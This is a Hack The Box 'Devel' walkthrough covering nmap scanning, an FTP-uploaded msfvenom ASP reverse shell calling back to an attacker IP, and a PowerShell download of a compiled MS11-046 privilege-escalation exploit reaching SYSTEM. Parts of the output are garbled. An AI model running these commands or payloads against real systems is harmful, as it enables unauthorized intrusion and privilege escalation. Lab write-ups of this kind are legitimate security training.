Devel

Devel is a cool windows box.

```
nmap -T5 -A -Pn -p- --min-rate=500 <ip>
Starting Nmap 7.80 (https://nmap.org) at 2020-07-01 00:09 UTC
Nmap scan report for 10.10.10.5
Host is up (0.12s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp
                 Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
 03-18-17 02:06AM
                                    aspnet client
                        <DIR>
 03-17-17 05:37PM
                              689 iisstart.htm
 03-17-17 05:37PM
                            184946 welcome.png
 ftp-syst:
  SYST: Windows NT
80/tcp open http
http-methods:
  Potentially risky methods: TRACE
 http-server-header: Microsoft-IIS/7.5
http-title: IIS7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

Service detection performed. Please report any incorrect results at https://

nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 214.16 seconds

OPEN PORTS:

FTP (anonymous login) http (risky methods: Trace)

After attempting an anonymous ftp login, there is nothing of use on the ftp server. Let's attempt to go to the website.

This is all we get on the home page.



if we look up what IIS is, we get:

Internet Information Services (IIS) for Windows® Server is a flexible, secure and manageable Web server for hosting anything on the Web. From media streaming to web applications, IIS's scalable and open architecture is ready to handle the most demanding tasks.

Nice, but how do we go about exploitating this or finding the vulnerabilites? IIS7 is a version of IIS.

```
Microsoft XIS 7.0 FTP Server - Stack Exh
Microsoft XIS 7.5 (Windows 7) - FTPSVC U
Microsoft XIS FTP Server - NLST Response
Microsoft XIS/PWS - CGI Filename Double
Microsoft Internet Explorer 8/9/10/11 /
Microsoft Site Server 2.0 with XIS 4.0 -
Microsoft Windows Media Services - 'nsii

exploits/windows/dos/17476.rb
exploits/windows/remote/16740.rb
```

lets see if nmap can find out the vulnerability: nmap -p21 -Pn --script vuln 10.10.10.5

No vulnerabilities were found.

After thorough research, this vulenrability looks to be usable via metasploit, but we are avoiding that.

Lets go back to FTP. If we realize that anonymous access is allowed, we might be able to upload a reverse shell. Since this is a windows box runnign IIS web server, lets generate a reverse shell payload via msfvenom. https://redteamtutorials.com/2018/10/24/msfvenom-cheatsheet/

```
kmli@kmli:~/Documents/HTB/hackthebox/Devel$ msfvenom -p windows/meterpreter/revers
e_tcp LHOST=inet 10.10.14.3 LPORT=4444 -f asp > shell.asp
```

This will start a meterpreter session. If we want to avoid using meterpreter, we just remove the meterpreter portion and replace it with /shell msfvenom -p windows/shell_reverse_tcp

Now lets try uploading this reverse shell via ftp:

```
ftp> put Theshell.asp
local: Theshell.asp remote: Theshell.asp
200 PORT command successful.
150 Opening ASCII mode data connection.
226 Transfer complete.
38511 bytes sent in 0.00 secs (39.3644 MB/s)
ftp>
```

It worked! now lets see if we can access this. Via the web browser by typing in the extension /filename.aspx and setting up a listener on our machine.

```
kaliment: ** nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.5] 49177
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>
```

We are in! If we navigate to users

```
c:\Users>cd Administrator
cd Administrator
Access is denied.
c:\Users>cd babis
cd babis
Access is denied.
c:\Users>
```

we can see that access is denied. For both admin and user. What does this mean? Windows privesc.

Lets run a systeminfo to see what we can find.

```
Host Name:
                           DEVEL
                           Microsoft Windows 7 Enterprise
OS Name:
                           6.1.7600 N/A Build 7600
OS Version:
                           Microsoft Corporation
OS Manufacturer:
OS Configuration:
                           Standalone Workstation
OS Build Type:
                           Multiprocessor Free
Registered Owner:
                           babis
```

This is a windows 7 system x86, lets look up some privesc techniques. https://www.exploit-db.com/exploits/40564

We find out that powershell is running on this machine We can download files remotely via powershell so lets use our exploit, make a directory, place it in a directory and run python -m SimpleHTTPServer 9005 The exploit must be compiled according to the instructions, lets compile: i686-w64-mingw32-gcc MS11-046.c -o MS11-046.exe -lws2 32 (Note- you must download mingw32) apt-install min...

```
ili:~/Documents/HTB/hackthebox/Devel/MyPythonServer$ i686-w64-mingw32-gcc 40
564.c -o 40564.exe -lws2_32
```

then, we can run the python server where the .exe is placed:

```
limkali:~/Documents/HTB/hackthebox/Devel/MyPythonServer$ python -m SimpleHTTPSer
Serving HTTP on 0.0.0.0 port 9005 ...
10.10.10.5 - - [01/Jul/2020 13:51:43] "GET /40564.exe HTTP/1.1" 200 -
  kaligkali:~/Documents/HTB/hackthebox/Devel/MyPythonServer$ ls
 40564.exe
```

Now we can run powershell to download the exe from our python server: Lets go to a directory where we know we have rwx priv (Public/Downloads) and powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.3:9005/40564.exe', 'c:\Users\Public\Downloads\40564.exe')"

```
c:\Users\Public\Downloads> powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.3:9005/40564.exe', 'c:\Users\Public\Downloads\40564.exe')"

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.3:9005/40564.exe', 'c:\Users\Public\Downloads\40564.exe')"

c:\Users\Public\Downloads>dir
dir
Volume in drive C has no label.
Volume Serial Number is 8620-71F1

Directory of c:\Users\Public\Downloads

05/07/2020 04:51 �� <DIR>
05/07/2020 04:51 �� <DIR>
05/07/2020 04:51 �� <DIR>
05/07/2020 04:51 �� <298.764 40564.exe
```

as we can see, our 40564.exe was transferred successfully. After running the executable, lets check our privileges to see if it worked:

```
c:\Users\Public\Downloads>40564.exe
40564.exe

c:\Windows\System32>whoami
whoami
nt authority\system
```

Awesome! Now we can get our root and user flag back in the Users folder and call it quits.

```
Directory of c:\Users\Administrator\Desktop

18/03/2017 02:17 ♦ OIR>

18/03/2017 02:17 ♦ OIR>

18/03/2017 02:17 ♦ OIR>

18/03/2017 02:17 OOIR>

18/03/2017 02:17 OOIR>

2 Dir(s) 32 bytes

2 Dir(s) 24.423.137.280 bytes free

c:\Users\Administrator\Desktop>type root.txt.txt
type root.txt.txt
e621a0b5041708797c4fc4728bc72b4b
```